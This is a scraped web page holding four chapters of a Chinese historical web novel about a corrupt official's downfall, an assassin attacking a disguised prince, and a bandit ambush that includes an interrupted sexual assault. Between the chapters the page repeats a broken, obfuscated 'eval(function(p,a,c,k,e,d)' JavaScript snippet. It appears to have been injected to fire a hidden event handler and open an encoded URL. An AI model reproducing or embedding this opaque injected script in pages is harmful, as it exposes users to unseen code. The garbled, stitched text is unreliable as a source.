“何平,你当时去抓捕李婶,可得到什么有用的信息啊?” (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第七十五章 与余年的对决(下) - 风吹繁花散落时 - 红酒羊排 “回大人,李婶当时痛哭流涕,说她的儿子在余年大人手上,请求属下搭救。” “你是怎么做的呢?” “回大人,属下觉得李婶实在是非常重要的证人,不能出半点闪失,便将自己身上的软猬甲给李婶穿上。在街上,属下正带着李婶回大牢的过程中,就遇到了余大人。余大人带着衙役围住了大家,非说属下无官无职,没有权利拘押嫌犯,并要将李婶带走。就是在这个时候,李婶突然受袭,我们按照事先约定好的,假装李婶死亡。而后,属下被余年大人关进大牢,外边的事情属下就不知道了,但是幸亏属下在离开钱家的时候已经派人去救李婶的儿子。就在李婶假意死亡的两个时辰后,余年大人派人出城,我的属下亲眼所见,他们是要将李婶的儿子弄死掩埋在城外的坟地里,幸亏属下们及时赶到,已经将孩子救下来了。” “你胡说!周开,你串通了这么多人来诬陷本官,真是用心歹毒!” 周启才不理余年,现在就是要快打斩乱麻,乱拳打死老师傅,将余年打倒在地,又对着李博一抱拳,“大人,请允许下官再次传讯证人。” “准。” 堂下又走进四人,分别是周启的两个侍卫和余年的两个衙役。两个侍卫跪在何平身后,一抱拳,“大人。” “你们说说当时的情况。” “回大人,属下奉何首领之命在余年大人府邸周围监视。果然没过两个时辰,出来两个人,还扛着一个麻袋,属下们觉得蹊跷便一直跟着。他们出了城,在坟地前停下,麻袋里一直在动,但是他们根本不予理睬,而是挖了一个大坑,将麻袋扔了进去。属下们觉得情况紧急,便故意弄出动静,因为在坟地里,又将近傍晚了,两个衙役害怕,埋到一半就跑了,属下们赶紧将麻袋挖出来,成功救下了李婶的儿子——海娃。” “你们两个?”,周启对着两个衙役询问道,“有什么要说的吗?活埋孩童可是重罪。” 两个衙役磕头如捣蒜,“大人饶命,大人饶命,我们也是按吩咐办事,不关我们的事啊!” “何人指使?” “是余年大人,余年大人指使。” “你们两个王八蛋,本官平时待你们不薄,怎么竟长了狼心狗肺,串通着别人诬陷本官!” “余大人先别生气呀,还有呢。”,周启再次传讯证人,进来的居然是钱宁。 “钱宁,你说说你的发现。” “回大人,小民调查钱记茶庄被冤案,本来毫无进展,可是在一次与同和钱庄的生意往来中,无意发现当天发现老鼠屎,并说亲眼看见老鼠的衙役在同和钱庄存有上百两银子,而这些银子据他们说是赌博的时候赢来的。” “哈哈哈, 赢来的银子也要怪到本官头上吗?” “大人,在这两个衙役所说的赢钱时间中,赌场中并没有人任何人见到过这两人。若说手气好,一天晚上就能赢上百两的也不是没有,但是一定会造成很大的轰动。这帮赌徒大多深陷其中,对于谁输的精光,谁赌赢了大钱那可是记得最是清楚,可是居然就是这两个衙役,没有一个人记得他们,大人就不觉得奇怪吗?” “许是大家都没在意,怎么,大家不记得就是没发生吗?这当做证据,也太牵强了吧。” “要是有人在意了呢?” “你什么意思?” “大人,很不巧,当时正有陈记的伙计在赌场计数。因为陈记想要投资该赌场,总要事先做个调查,衙役说当天在赌场赢了大钱,两个衙役就是二百两银子的流出,陈记的伙计所记账目在此,当时这个赌场一晚上流入一千五百三十四两六钱,流出五百一十二两三钱,大部分还是被庄家赢走了。大人,这账册是陈记的伙计所记,前后都有,所以中间无法造假,与赌场的流水也吻合,足以采信。” 李博接过账册,一本是陈记的伙计记的流水账,另一本是赌场记的总账,都是密密麻麻,但是就是没有两个衙役豪赢一百两的记录。李博看了一眼余年,见他心虚地的样子,知道他已经无牌可出了。“余大人?” “这,这也不能说明是下官……” “真是不见棺材不掉泪啊!”,周启已经将余年逼上死路,就差最后一击了,“钦差大人,看来下官还要传讯证人了。” “传。” 下边走上来的这位,让余年的心凉了半截,因为这正是赌场的老板,阿大。 “阿大,你为何要给两个衙役一百两银子?” “回大人,这是余年大人的管家给小民的,说只要小民交给两个衙役就行了。” “那你为什么愿意这么干呢?” “回大人,余大人曾经多次通过赌场迎来送往,每次他带外地的官吏来赌场都会豪掷千金,余大人是我们的大客户了,所以他说的,我们也就没有理由拒绝。” 李博一拍惊堂木,“余年!你还有何话可说!”,余年硕大的身材噗通一下瘫倒在地,他知道自己的官宦生涯走到了尽头。“余年,本官到徽州审理你参奏徽州知府一事,现事实清楚明白,你串通衙役刻意制造伪证,诬陷钱记在前,勾结他人,构陷徽州知府在后。现人证物证具在,本官会如实上报朝廷,还徽州知府周开,还钱记茶园一个清白。” 在堂上的人没有一个人说话,余年的死党们知道现在只有明哲保身了,余年已经走到尽头了。 余年的案子查清楚了,钱记也洗刷了不白之冤,虽然朝廷供奉已经没 有了,但是好歹钱记的招牌是保住了。“多谢大人。”,钱宁心里的石头终于落了地,他知道这一切若不是当时周知府提出疑问为他们争取了时间,钱记早就没有了,更遑论洗刷冤屈了。 “本官只是就事论事。” “是,大人圣明烛照,我们钱记永远感念大人的恩德。” “你们是自己自证清白的,若说感激,你应该去感激陈记,若不是他们愿意将账册拿出来,你也不能如此干净利落的自证清白。” “大人说的是,我们徽商向来互帮互助,没有相互的支持,是无法走到今天的。” “嗯。” “周大人,吴怡昨天多有冒犯,请大人海涵。” “本官不会跟她计较的。” “多谢大人。” 周启突然觉得奇怪,“钱宁?” “大人?” “吴怡和你什么关系,你这么紧张她。” “朋友,我们是很要好的朋友。” 周启上下打量了钱宁一遍,凑近钱宁低声说道,“钱宁,以前我家的长辈告诉我,男女之间的友情是不存在的。”,说完,周启嘴角上扬迈步离开。钱宁看着周启的背影,小声说道,“要是吴怡能明白该有多好。” 吴怡颠颠颠跑回了钱家,一进书房门就大喊一声,“钱宁。” “你怎么回来了?李大叔怎么样?” “我爹好着呢,知府衙门里好吃好喝的,他快活得很。钱宁,我听说钱记平反了?” “这不叫平反,是自证清白。” “好好好,反正就是钱记没事了呗。” “是啊。” 吴怡高兴得跳了起来,拉着钱宁高兴地说,“太好了,钱宁,太好了!” 钱宁也笑了,不过赶紧向吴怡解释,“吴怡,我也是前几天偶然发现同和钱庄账上有衙役的银子,因为这事关钱记的命运,我才没有告诉你。” 吴怡不知道钱宁为什么向自己解释这个,“钱宁,不管怎么样,你真厉害,这么隐蔽的事情你都能查到。” “也是我们正好要买同和钱庄,他们掌柜的上了年纪,又没有儿子,所以就想卖掉钱庄,没想到居然迁出这么大的事情。” “钱宁,这就是好人有好报,你是好人,所以老天爷都帮你。” “嗯,幸亏陈伯伯也通情达理,愿意把账册拿来给我们当证据。” 吴怡脑子嗡得一下,又下意识摸了摸自己的腰带,“钱宁,你,你能看到陈记的账册?” “是啊,关于赌场的,当证据用的。” “哦。”。吴怡吓了一跳,差点话都不会说了,“我说呢。” “哈哈哈哈,吴怡,我们钱家没事了,李大叔也醒了,这是好事,不如我们出去庆祝一下。” “庆祝一下?是该庆祝一下,不过我 还得照顾我爹呢。” “哦,对,照顾李大叔要紧。吴怡,李大叔什么时候过来?” “过来?” “是啊,李大叔不能一直住在知府衙门吧,过几天他能走动了,就来我们钱家住吧,我们以后一起照顾他。” “嘿,不用,我爹就喜欢住在知府衙门里,他说这辈子还没有住过官府,还一口一个女婿女婿的,恶心死了!” “女婿?什么女婿?” “啊?没事,我得回去了,我走了啊。”,吴怡赶紧跑,她觉得这女婿的事情有点解释不清。 “哎,吴怡,吴怡?”,钱宁站在书房里,丈二和尚摸不着头脑,“女婿?”,钱宁看着吴怡的背影,觉得越来越远了,才一会儿的功夫就消失在大门里,再也不见了。 (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第七十六章 吴怡的想法 - 风吹繁花散落时 - 红酒羊排 吴怡一进知府衙门,见一个男孩在院子里跑,娉婷坐在秋千上笑着。 “吴怡。” “哎?李婶?”,吴怡见李婶从厨房出来,大为惊讶。 “吴怡,今晚上你爹有没有什么想吃的,我给他做。” “李婶,你怎么在这?” 李婶低下头,“之前我犯了错,大人说我也是为了救自己的孩子,非但不怪我,还让我回来继续当厨子,还说让我也把海娃带着,大人真是大好人呀。” 吴怡听了,对周启又有了新的认识。以前在吴怡心中,周启一直在算计别人,虽说都是为了徽州,可是总觉得别扭。如今他对李婶的态度,倒叫吴怡觉得这才是一个大人应该做的。“李婶,既然周大人叫你回来,你以后就好好干。” “嗯,是。” “这是你儿子?多大了?” “六岁了。” 吴怡过来和海娃玩,娉婷见吴怡有点心烦,如今知府衙门里越来越拥挤,尤其住着那个李老四。娉婷来到书房,周启正站在书架前看书,“哥,老骗子什么时候离开?” “怎么了?” “你忘了他怎么对我了!” “娉婷,李老四中了毒,落下了残疾,也算是对他的惩罚。况且过几天你就回京城了,就忍两天吧。” “老骗子活该。” “娉婷。” “哥,李博查清楚案子,也会回京城了,我也走了,这里就剩你了。” 周启合上书,放在架子上,“不错嘛,如今都知道担心哥哥了。” “才不担心你呢。”,娉婷就是死鸭子嘴硬,“哥,我回了京城,就要嫁给那个老不死的了。”,娉婷突然很伤感。 周启原本往书桌方向去了,听娉婷这么说,来到娉婷身边,伸手抱住了娉婷,“妹妹,哥哥对不住你,没能阻止这桩亲事。” 娉婷摇摇头,也抱住了周启,带着哭腔说道,“哥,以后我就见不到你了,你要好好保护自己。” 周启突然很自责,他应该早点阻止皇帝的决定,可是现在娉婷的命运就想风雨飘摇中的小船,而自己就好像根本不在船上,什么也做不了。“哥哥一定会保护你的,一定会的。” 此时的李博整理了案卷,因为余年的倒台,给李老四下毒的事情也轻而易举查清了。余年原本想毒死李柏和何平,但是饭菜被李老四吃了,人证物证都已经获得。 “余年,都这个时候了,你还有什么不能说的。”,李博在牢里审问余年,现在只剩下张海的背景需要余年交代了。 可是余年并不打算告诉李博,他知道自己死期将至,可是也许张海终能给自己报仇。 “哼,你还打量着张海会救你吗?” 余年看了一眼李博,“李大人,我再说一遍,我和张 海没有私下来往,也不知道他为谁效力,李大人若是非想知道,自己去问张海好了。” 李博看着余年半晌,发现周启说得对,余年想说早就说了,李博最终站起身离开。周启与李博商量,将余年的罪行限定在已经查清楚的几件事情上,至于他之前在赌场迎来送往的事情,因为怕牵涉太广,不再追究。根据余年的供述,在李博的奏折中写得清清楚楚,余年陷害钱记,是为了给新任知府设置障碍,他的目的一直都是想自己当上知府。皇帝接到奏折,心里总算踏实了,许丞相也算是放心了。皇帝亲自下旨,余年诬陷上司,罪不可赦,判十年监禁,罚款两千两。以孩童威胁他人,并指使下属杀害孩童,罪不可赦,念孩童并未死亡,判终身监禁,罚款一万两。毒害他人,造成影响极其恶劣,判赔偿被毒害之人三千两。 “简直是废物!”,现在最不开心的就是三皇子。 “三皇子莫急,幸亏没有牵连张海,还有机会。” “舅舅,那个张海在干什么?一两银子也没有赚到就算了,还把余年填进去了,还徽州知府呢,呵呵呵,真是可笑。” “三皇子,我已经严厉斥责了张海,我相信他马上就能有所作为了。” “舅舅,你总是想得好,你还说陈家会跟我们合作呢,可是呢,到头来人家还是帮了钱家,证据可是陈家提供的。” “三皇子,幸亏京城的齐家已经给我们分红了,我们在这些事情上还是不亏。” “不亏就是赚吗?舅舅,你这个户部尚书就是这么当的吗?” “三皇子莫及,同知之位空悬,我们是不是派一个自己的人过去?” “同知有什么用?你没听说吗?剿匪获得了初步的成功,马上人家就剿匪成功,立功了。余年在同知位子上这么多年都没能把周开弄下来,你新派一个人去,能有什么用?” “三皇子,余年毕竟不是一直跟着我们,指挥起来也不容易……” “成了成了!还是想想怎么让张海在徽州赚点钱吧!哦,对了,那个张灵呢?不是让张海去找张灵合作吗?人呢?” “哦,这个您放心,已经接触上了,张海说,张灵对他的生意很感兴趣。” 听了这话,三皇子才终于觉得不那么生气了,好歹有一件事情有进展就成。“舅舅,我的地位和周启没法比,要是他,他能有我这么费劲吗?” “三皇子,就是因为我们地位不如别人,才要步步算计,每进一步都很困难,更不能退让,如今您在朝中如日中天,将来与五皇子一较高低也不是不可能,现在千万不能妄自菲薄。” 京城内几家欢喜几家愁,徽州却一直按部就班。 “吴怡,这次比上次还危 险,你要想清楚。” “没问题。” “你爹都已经放出来了,你没必要再涉险。” “嘿嘿,周大人,你前边的准备工作已经做了,如果这个时候我不干了,怪对不住你的。” 周启见吴怡笑呵呵的样子,心中突然有点不忍心,“吴怡。” “周大人,你想啊,我爹以后都得吃人参,现在这么好的机会,我怎么也得帮我爹赚点钱。” “我说了,你爹的人参,我都包了,你没必要涉险。” “周大人,你的好意我心领了,不过呢,我吴怡一直都是穷光蛋一枚,我还真不知道当有钱人什么感觉,上次冒充有钱人,我觉得特别爽,所以我想再冒充一次,你就成全我吧!况且,你怎么是不是给我点劳务费?” “好吧,劳务费:五十两银子,怎么样?” “好,不许反悔啊!” “后天傍晚,你压货出城,这几天镖师都已经快没有了。你明天就大张旗鼓去钱家要货,我已经和钱宁商量好了,所有流程他都帮你走完了,你只要去就成了,好像你们早就商量好了这批货一样。后天,你就在城内找镖师,但是一个镖师也不可能有,你就假装着急半天,傍晚就出城。到时候何平与我的侍卫和何统领的心腹都会混在你的商队中,马匪只要出现,你就随机应变。” “没问题。” 吴怡开始假装有钱的商人,去钱记要货。李老四在知府衙门每天好不快活,见谁都说周启是他女婿。可是院子里的人,除了李婶和海娃,所有人都知道周启的真实身份,谁都没把李老四的话放在心里。 “我跟你们说啊。”,这天,李老四坐在椅子上晒太阳,又和侍卫们讲起了遇到土匪的事情,“当时周大人真是英勇异常,在马匪面前面不改色心不跳。我闺女吴怡身穿大红嫁衣,从屋里出来,只见周知府已经红了脸,笑着迎接吴怡。” “哈哈哈,李老四,我们大人还能红了脸,是你看错了吧!” “怎么不能?就是红了脸,我可是看得真真切切。” 娉婷走出来,李老四瞬间不说话了,侍卫们也一哄而散。娉婷走到李老四椅子边上,“老废物,又开始骗人了!” “我没骗人。”,李老四现在不能动,他的腿躺时间长了,现在没有力气,一直坐在椅子上。 “没骗人?我告诉你,我哥哥是徽州知府,才不会娶你那个什么狗屁闺女呢!” “嘿!徽州知府怎么了?他们两个一个头磕在地上,他们就是夫妻两了!” 娉婷面露凶光,“我告诉你,你应该庆幸我哥哥现在只是徽州知府,要不我杀了你!” 李老四咽了口唾沫,“你,你别乱来啊。” 娉婷拍拍李老四的肩膀,“ 放心吧,我现在不打算杀你了,我听说你终身残疾了,我觉得这样最好,这就是你的报应。” “我说周小姐,现在咱们怎么也算是一家人了……” “啊呸,还一家人,我告诉你,你是你,你就是地上的垃圾,我周娉婷就算再落魄,这辈子也都不可能和你这样的垃圾是一家人。还有啊,我哥哥现在是徽州知府,他都不可能娶你闺女,等他不是徽州知府了,他就更不可能娶你闺女了,你就死了这份心吧!否则,就算你闺女舔着脸嫁给了我哥哥,我也叫她生不如死!” 正说着,吴怡过来了,“周大小姐,你放心,我才不嫁你哥哥呢。” “哈哈哈,那最好,你早死了这份心,是省得以后你自己伤心。” “周小姐,别说你哥哥只是徽州知府,就算他是太子,是皇帝,我也不嫁。” 娉婷上下打量吴怡,“哈哈哈,那你可一定要记住了!” (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第七十七章 决战前的平静 - 风吹繁花散落时 - 红酒羊排 刘四今避开了城门衙役,乔装进城。他已经观察清楚,何启年每天到知府衙门报到。因为之前的大获成功,军营发下了奖励银子,兵丁们开始赌博、斗殴,刚开始何启年还能控制,近两天局面渐渐失控。刘四今断定,何启年今天必定会进城找知府老爷商量对策。他在知府衙门周边静静等待,这一次,他绝不会再失手了! 与刘四今分开已久的胡子老三已经安营扎寨,因为之前被官府偷袭,损失惨重,胡子老三决定再次出击。 “大哥,如今官府逼得紧,我们若是贸然出击,会不会?” “他妈的,老子现在要酒没酒,要女人没女人的,老子都落草为寇这么对年了,还怕官府?” “哈哈哈。”,马匪们哄笑起来,“是啊,大哥!以后咱们兄弟就跟着大哥,吃香的喝辣的,我们清风寨那也是响当当的。” “对!跟着大哥干!” “哈哈哈,好,兄弟们,这些天跟着二愣子那个怂货,躲在山沟里,吃不饱还被蚊子咬,如今咱们回到了清风寨,就算官兵来了又能怎样?咱们过几天就干他一票!来,咱们兄弟先找人去探探,看看哪个倒霉蛋要送上门来!” “啊哈哈哈哈,跟着大哥干!干!干!” 胡子老三看着热情高涨的兄弟们,一扫近来满肚子的怨气,终于找到了当大哥的感觉。他派出探子,发现最近徽州出城的商队不少,商队大多跟着镖师,没有镖师的又是小商小户,劫来没甚意思,但是人穷时,苍蝇腿也是肉啊,胡子老三的手下这天劫了一个老伯,只有一车的粮食,老伯一路跑回徽州,周启很快就得到了消息。 “没想到啊,连个老伯都劫,真不知道说他们什么好!”,李博一脸不可置信,他觉得一队能攻打徽州的马匪,怎么也应该有点出息。 “是障眼法的几率有多大?”,周启也觉得不可思议,瞬间警觉起来。 “大人,老臣觉得他们真的揭不开锅了的几率更大一些。” “那好,告诉吴怡,明天到钱家去要货,不管是什么,只要值钱的,金银首饰,粮食什么的都要点。” 第二天吴怡依约前往钱记要货,当天在徽州城四处顾镖师,却一个都没有。当天晚上,吴怡来到钱记,非要独自出城,钱宁虽然知道计划,但是十分担心。 “张小姐,既然你如此着急,不如钱某送你出城吧。” “啊?不用,没事儿。”吴怡心想:这计划里也没有你呀。 “张小姐,最近徽州城外在闹马匪,你一个女孩子实在不安全。” “少东家不必担心,小的自然会护送。”何平走了过来,他看得出钱宁对吴怡不一般,但是这是关键时刻,他决不能让儿女情长破坏了 周大人的计划。 钱宁看见何平,知道他素来板正不好说话,还想据理力争一下。 “没事的,钱宁,我们很快就会再见面的!放心吧!”吴怡对着钱宁笑了笑,“走吧!”吴怡一声令下,她的“伙计”紧随其后,货物是真的,文书是真的,成败就在此一举了。 清风寨中,胡子老三正在训话,“兄弟们,老子听说你们前两天劫来一车粮食,怎样?官府没动静了吧!哈哈哈哈,他们已经窝里反了,哪有咱们兄弟齐心,那个何启年也不过如此!哈哈哈哈” 马匪们哄笑起来,“大哥,我听说那个何启年是狗皇帝的侍卫,根本就是个花架子。哈哈哈,之前要不是二愣子,咱们能死了那么多兄弟,让他捡了便宜?” “就是,这个二愣子真是够愣!” “嘿,说他干嘛,真是晦气,以后咱们就跟着大哥干。” “对,跟着大哥干!” “哈哈哈,兄弟们,今天白天已经得到消息,往徽州城外走的商队大多没有镖师了,这可是老天爷给咱的机会,咱们今晚就干票大的!” “对,干他娘的!” “干!干!干!” 此时,何启年正在知府衙门与周启开最后一次作战会议。 “周大人,这马匪若是真劫了吴怡,后边就是跟踪。按计划,何平会在沿途撒下硝石,我们按硝石追踪。今夜无风无雨,实乃上天助我们剿匪。” “恩,很好。”周启仍旧很平静。 “看来今夜必能大获全胜了。”李博十分乐观,他的差事已经搬完了,只等着何启年剿匪成功,便能回京城交差了。 “何统领,吴怡这次深陷险境,我希望你能把她平安带回来。” “哎呦,你怎么突然这么怜香惜玉了?” “她爹已经这样了,她若真出了什么事,以后谁照顾她爹呢?” 李博知道他才不是关心那个老混蛋呢,见周启一本正经也就不好多说什么,心想:难得对一个人上心了,还是不要过早揭穿得好。“你放心吧,何平跟着她呢。”李博又看了一眼何启年,笑着说到,“何统领,这些天在徽州你都忙着剿匪,还没有品尝过这地道的徽州菜吧?走,我们去同福苑,那的菜还真是不错。” “哎,李大人,公务在身不便吃酒。” “说叫你喝酒了?吃饭!就算去剿匪,也得去吃饭呀!您说呢?周大人?” “对呀,走,我们吃饭去。” “这不太好吧?” 何启年还想推辞,周启已经往外走了,李博不由分说,一把拉着何启年跟上。三人出了府衙,往同福苑方向而去。 路边,刘四今等待良久,他原本正在悠闲喝茶,三张熟悉的脸映入眼帘,顿时他觉得五雷轰顶,人瞬间 定住了。 五年前,刘四今在少林寺学艺,少林师傅觉得刘四今戾气太重,希望他打坐静思。可是他学好了武艺只有一个目的就是找当年带队杀死全家的何启年报仇。 这一年何启年已经从军营走进了皇宫,成为皇帝御前侍卫首领,刘四今在何启年府邸周围转悠,终于见到了仇人。正当他要向上前讨个说法,让何启年在父亲灵位前磕头认错之时,周启与李博在他身后打闹,撞坏了小商贩的货架。小商贩不认得他俩,拉着周启让他赔偿,周启幼年也是顽劣异常,不仅一把将小贩推倒在地,还办着鬼脸哈哈笑起来。小商贩受了这委屈,一骨碌爬起来要打周启和李博。何启年远远看见,赶紧带着人来护驾。 “五皇子,你没事吧?”,原来何启年是周启的武术启蒙老师,他升任统领,周启来他府上祝贺他的。虽然他是偷偷从宫里出来,还带着李博在街上逛了半天才顺道来看看。 “皇子?”,小商贩一听是皇子赶紧跪地磕头,“哎呀我的妈呀,皇子饶命,皇子饶命。” 周启满不在乎,用嘴吹着手里的风车。 何启年见周启这样,也不好质问皇子,只好问李博:“李博,这怎么回事?” “嘿,我们不小心撞了他的架子,他就要打我们。” 何启年明白了,从袖口里掏出一块散碎银子递给小商贩。“这个你拿着,是赔你的货架子。” “哎呦,多谢大人,多谢大人。”小商贩借过钱赶紧拿着货跑了。 周启不再玩风车,从小商贩的背影上收回目光,不解地看着何启年,“你为什么赔他?我们又不是故意的,况且他敢打我,我没有追求他已经很不错了。” “五皇子,弄坏了别人的东西需要赔偿,这在哪里都是这个道理。况且他不知道你是谁,觉无冒犯之意。”,何启年顿了顿,“臣听闻五皇子天资聪颖,过目不忘,一目十行。那五皇子在哪本书上曾经看过,这种情况下,五皇子不需要赔偿他了呢?” 周启渐渐低下了头,“这钱我回头还你。” “哎,李博,你放手啊,我自己走吧,我自己走!”三人经过刘四今身边,刘四今听得清清楚楚,李博二字。他的目光跟着三人,嘴角不自觉上扬,目露凶光。“五皇子,哼。”五年前,刘四今第二天便生了一场重病,好不容易活了下来,最终辗转到了徽州落草为寇,没想到命运的轮盘翻转,四人又再次重逢。 城外,胡子老三已经带着人埋伏好。吴怡带领的商队浩浩荡荡,前边的商队经过胡子老三的包围圈,胡子老三正要带着兄弟们上,探子来报,“大哥,后边的商队东西更多,没有镖师,带队的是个女的。” “女的?”胡 子老三好久没见过女人了,心里活动起来,“妈的,再等等,她们过来,咱们就上!” 吴怡坐在马上有点紧张,心脏砰砰砰跳个没完,她甚至在心里默默祷告:马匪别来,马匪别来,马匪别来!突然一阵呼喊,吴怡的心凉了一半,马匪从两边冲了下来,商队的伙计有的瞬间四散奔逃,这些都是商量好的。吴怡翻身下马来到何平身边,见周围得冲出来好几十号人,吓得腿都软了,但是她知道这是计划的一部分,只好心里默念:五十两银子,五十两银子,五十两银子。 (本章完) eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'w+'};c=1};while(c--){if(k[c]){p=(new RegExp('b'+e(c)+'b','g,k[c])}}return p}('h 4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){('u',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/+/g,"%15")))}}});c.6('}w{;c.6(' 第七十八章 周启、吴怡双双遇险 - 风吹繁花散落时 - 红酒羊排 胡子老三来到近前,见吴怡皮肤被晒得有点黑,但是一双桃花眼甚是可爱。“哈哈哈哈哈,真有个小娘们,这货是你的?” 吴怡撞着胆子与胡子老三说到,“这位大王,如果不嫌弃。”吴怡从何平手中拿过一大包银子,“这你拿去,给兄弟们喝酒。” 胡子老三见了自然欢喜,“哈哈哈,好。来拿着,不过嘛。” “不过什么?”吴怡紧张异常,平时骗人被揭穿顶多就是挨顿打,逃包就是,如今可是四面楚歌,逃无可逃。 “小美人,跟着走吧!”胡子老三一脸奸笑,吴怡全身一哆嗖,“大王,大王。” 不等吴怡再说什么,胡子老三一下子将吴怡从腰部扛在肩上。所有马匪哄笑起来,又押着何平他们赶着货车,往清风寨而去。 同福苑中,三位大人吃过晚饭,正在闲坐。何启年见天色不早了,站起身对着周启一抱拳,“周大人,时候差不多了,老臣要出发了。” “好。”周启也站起身,又对着李博吩咐道,“你也去吧。” “我?我干嘛去?” “上次你不就去了吗?怎么这次也得挽回点颜面呀。” 李博乐呵呵站起来,“对,好,那我也去。你呢?” “我自己回去了,你们多加小心。” “那你注意安全。” “切,啰嗦,这里到衙门是直通着的,我走大路还能出什么事吗?少罗嗦,赶紧去吧。” 三人分道扬镳,周启沿着主路回去,刚走出一百米,听见旁边巷子有动静。要说好奇心真是害死猫,周启离开主路,往小巷子里想一探究竟,往里转了两个弯,正看见一人身材魁梧,皮肤黝黑,单手背后,似乎在等着他。周启好奇地看着他,又往自己的身后看看,空无一人。 “五皇子,别来无恙啊?” 周启不知他是谁,但是知道自己身份的人定是京城的人,不是皇帝的人就是外公的人,所以放下戒备之心,“找我何事?” 听到这样的回答,刘四今脚下一用力,本着周启就来,一边越步一边说到,“要你的命!” 周启知道自己判断失误,赶紧躲闪。刘四今是少林寺俗家弟子,大力金刚指是他的看家本领,鹰爪似的手将墙面砸出一个个小坑,周启心中知道不好,自己不是此人对手。“你到底是什么人?” 刘四今可没空回答周启,双脚飞起将周启踹出两米远。他紧走两步,打算要了周启的命,旁边突然出来一人,跳在两人中间,一柄宝剑将刘四今打得节节倒退。周启站起来,他看清来人,正是皇帝派来跟着自己的人。正看着,周启听见身后呼啸风生,他赶紧一躲,说时迟那时快,周启听见当啷一声,是两柄宝剑磕碰的声音。周启回头一 看,张广对着自己而来,旁边一人用剑把周启挡住了致命一击,周启猜测这救他的应该就是外公的人。 两边四人打架,周启被夹在中间,一时没有办法翻墙逃走,深入困局。 这边吴怡被胡子老三扛上了山,吴怡心里害怕极了,不一会儿就被胡子老三摔在炕上。 “来来来,小美人,让老子亲亲。” 吴怡见屋里空无一人,想跑可没有地方,急中生智,“大王。”吴怡双手捧着胡子老三的脸,“大王,我愿意嫁给你!” 胡子老三愣住了,旋即露出了两排大黄牙,“好呀!今晚上大爷就好好伺候伺候你。” 吴怡赶紧推了一把胡子老三,“大王,我是晋中张家的大小姐,我们家有的是银子。” “晋中?”晋中张家,胡子老三可是如雷贯耳,“你家的银子还能给我呀?” “那要是我们成亲了,你就是女婿,银子当然给你了!” 胡子老三有点心动,他知道晋中比这徽州还风光,也就是这几十年徽商才崛起了。“成!那小娘子,让老子伺候伺候你。” “哎,我们得先拜堂才行呢!”吴怡也是能拖一时是一时,她知道何统领的兵丁很快就能杀过来。 “拜堂?老子上哪给你整那些个劳什子去?” “哎呦,大王。”吴怡一只手搭在胡子老三的肩膀上,故作娇嗔地说到,“就是把兄弟们都叫来,咱们三个头磕在地上,就算是成亲了,以后我见了我爹,我也好交代呀!你说呢?哎呦,大王,怎么样奴家这天晚上都是大王的人了,你急什么呀?为了咱们以后能去要银子,这点时间你还能没有啊?”吴怡以前假装男的在妓院给人家端茶送水,看多了妓*女,跟男人撒娇的本事还是有的,再加上甜甜的笑容,忽闪的大眼睛,胡子老三拉着吴怡的小手,亲了一口,“成,成,咱这就成亲,这就成亲,哈哈哈哈。” 胡子老三一路拉着吴怡的小手,一路不错眼得来到前堂,将兄弟们都叫来,好酒好肉要成亲。 这边何平等人被关在牢里,听守卫说老大要成亲,大多数人去喝喜酒,只留下三个人看守,何平示意大家行动。 胡子老三早就等不及了,拿着大碗倒满酒,先说了一番感谢大家的话,酒过三巡,便急急拉着吴怡在空地上,也不顾礼仪,咚咚咚磕了三个头。马匪们欢呼起来,胡子老三再次将吴怡扛起,往屋里去了,吴怡再想说什么,已经来不及了,两人进屋,胡子老三猴急猴急就来扒吴怡的衣服,吴怡拼命挣扎,已经是叫天天不应,叫地地不灵了! 外边正在喝酒的马匪还没有察觉到危险,何平吩咐人去开寨子门,外边何启年的手下已经拔掉了警戒哨。何启年怎么也 没有想到马匪还能回来,因为这里的地形已经被何启年的人都摸清了,想要再次拔掉警戒哨十分容易,大部队悄无声息来到寨子门口,里边的人一开门,大部队瞬间冲了进来。 吴怡还在挣扎,她拳打脚踢胡子老三都没奈何,突然何平冲进来从后边给了胡子老三一下子,正打在脑袋上,胡子老三顿时气绝身亡,趴在了吴怡的身上。 吴怡吓得魂飞魄散,一把将胡子老三推开,看来人是和平,赶紧整理衣服。 “吴怡!” 吴怡瞬间哭了出来。 “吴怡,你赶紧躲起来,就算是马匪的地方肯定也有针线,你找出来将衣服缝好,免得出去了说不清楚,女孩的声誉比什么都重要!” 吴怡脑袋一片空白,“可是,我们什么也没发生,真的!你要相信我呀。” 何平过来扶着吴怡的胳膊,“吴怡,我知道,我看见了。可是你们独处一室,你再衣冠不整,难免有好事之徒胡编乱造。所以你听我的,赶紧找针线,把衣服缝好,找地方躲起来,我们的人马上就进来了,那时候你就安全了。” “那你呢?” “我得出去。” 